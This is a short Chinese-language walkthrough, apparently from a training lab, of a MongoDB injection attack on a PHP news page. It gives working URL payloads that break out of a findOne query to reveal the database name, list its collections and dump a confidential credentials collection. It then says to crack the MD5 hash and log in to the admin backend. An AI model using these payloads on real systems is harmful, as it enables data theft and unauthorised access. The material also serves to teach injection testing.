1、如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...
# 查询语句: var data= db.notice.findOne({'id':'$id'});return data;
传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retva l’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,conten t:’2’})来构造回显测试
new_list.php?id=1'});return ({title:'1',content:'2
2、成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority
new_list.php?id=1'});return({title:tojson(db),content:'2
3、得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中 db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组
new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2
4、这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、notice、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了
new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
5、使用MD5解密,进行后台登陆